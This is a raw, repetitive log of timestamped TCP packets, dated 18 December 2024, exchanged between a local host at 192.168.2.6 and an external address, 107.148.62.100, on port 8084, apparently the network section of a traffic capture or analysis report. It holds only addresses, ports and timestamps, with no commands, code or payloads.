Dec 18, 2024 13:36:13.000143051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.000385046 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.000421047 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.001629114 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.002051115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.002101898 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.002528906 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.028320074 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.028400898 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.028539896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.028990030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.029126883 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.079978943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.080138922 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.080197096 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.080588102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.163095951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.163125038 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.163168907 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.163598061 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.163645983 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.172151089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.172354937 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.172446966 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.172795057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.173274994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.173316002 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.174119949 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.174340963 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.174385071 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.175410986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.175657988 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.175709009 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.176772118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.177098989 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.177144051 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.177831888 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.178029060 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.178069115 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.179143906 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.179342985 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.179395914 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.180413961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.180919886 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.180974007 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.181153059 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.182243109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.182286978 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.182917118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.183129072 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.183168888 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.183324099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.183760881 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.183836937 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.185408115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.185668945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.185717106 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.186135054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.187345982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.187402964 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.187591076 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.188137054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.188188076 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.190066099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.190329075 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.190762997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.190834999 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.192672968 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.192913055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.192970037 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.193378925 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.193428993 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.195141077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.195528030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.195586920 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.195969105 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.197418928 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.197464943 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.197614908 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.198128939 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.198170900 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.199723959 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.200136900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.200186014 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.201039076 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.201224089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.201461077 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.202204943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.202444077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.202485085 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.202938080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.204751015 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.204787016 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.204931021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.205414057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.205457926 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.207081079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.207376957 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.207420111 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.207873106 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.209577084 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.209681034 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.209810019 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.210290909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.210356951 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.212088108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.212522030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.212565899 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.212976933 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.214509010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.214549065 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.214766979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.215219975 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.215260983 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.216890097 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.217098951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.217139959 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.217499971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.219364882 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.219409943 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.219573975 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.220191956 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.220240116 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.221863985 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.221995115 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.222034931 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.222454071 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.245244980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.245312929 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.245486021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.245966911 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.246021986 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.297285080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.297564983 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.297620058 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.297956944 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.380223036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.380304098 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.380429983 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.381032944 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.381088972 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.383326054 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.383342028 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.383645058 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.383851051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.386862040 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.386929035 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.387042999 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.387672901 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.387728930 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.389285088 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.389427900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.389473915 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.389771938 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.390916109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.390991926 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.391283035 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.391383886 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.391544104 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.391551971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.393362999 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.393419981 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.393579960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.393800020 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.393843889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.395457029 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.395658016 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.395694971 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.395919085 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.396259069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.396296024 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.398006916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.398231030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.398293018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.398735046 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.400305033 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.400440931 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.400638103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.401067972 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.401288033 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.403069019 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.403351068 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.403399944 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.403816938 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.405479908 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.405540943 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.405654907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.406636000 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.406693935 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.406816959 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.407325029 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.407433033 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.409100056 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.409333944 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.409393072 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.409797907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.411483049 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.411551952 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.411730051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.412297010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.412337065 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.414627075 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.414823055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.414880991 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.415345907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.416985035 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.417057037 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.417217016 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.417591095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.417706013 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.419038057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.419218063 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.419270039 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.419576883 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.421523094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.421569109 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.421928883 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.422161102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.422225952 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.424196959 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.424609900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.424660921 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.425152063 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.427571058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.427628040 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.427805901 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.428184032 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.428225040 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.429594040 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.429745913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.429789066 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.430005074 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.431813955 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.431927919 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.431994915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.432411909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.432457924 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.433954954 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.434281111 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.434390068 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.434719086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.436711073 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.436772108 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.436937094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.437367916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.437685966 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.438878059 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.439064980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.439130068 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.439588070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.441489935 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.441533089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.441549063 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.442048073 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.442244053 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.443680048 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.443996906 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.444041014 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.444451094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.462265015 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.462333918 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.462390900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.462889910 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.462935925 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.514024973 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.514156103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.514208078 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.514815092 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.597035885 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.597244978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.597368956 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.597635984 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.597768068 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.599786997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.599947929 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.600500107 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.600548983 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.602603912 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.603022099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.603075027 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.603431940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.603472948 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.605264902 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.605468988 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.605679035 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.605741978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.607224941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.607530117 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.607569933 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.607996941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.608314991 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.610061884 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.610291958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.610332966 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.610691071 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.612581015 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.612641096 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.612790108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.613342047 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.613389015 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.615092993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.615199089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.615281105 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.615643978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.617460012 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.617520094 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.617767096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.618253946 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.618292093 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.620080948 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.620476961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.620523930 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.620948076 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.623613119 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.623658895 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.623838902 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.624466896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.624504089 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.624727964 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.625066996 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.625700951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.625876904 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.627288103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.627343893 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.627502918 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.627964020 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.628005028 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.630055904 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.630328894 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.630381107 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:13.630740881 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.632451057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:13.632504940 CET	49844	8084	192.168.2.6	107.148.62.100
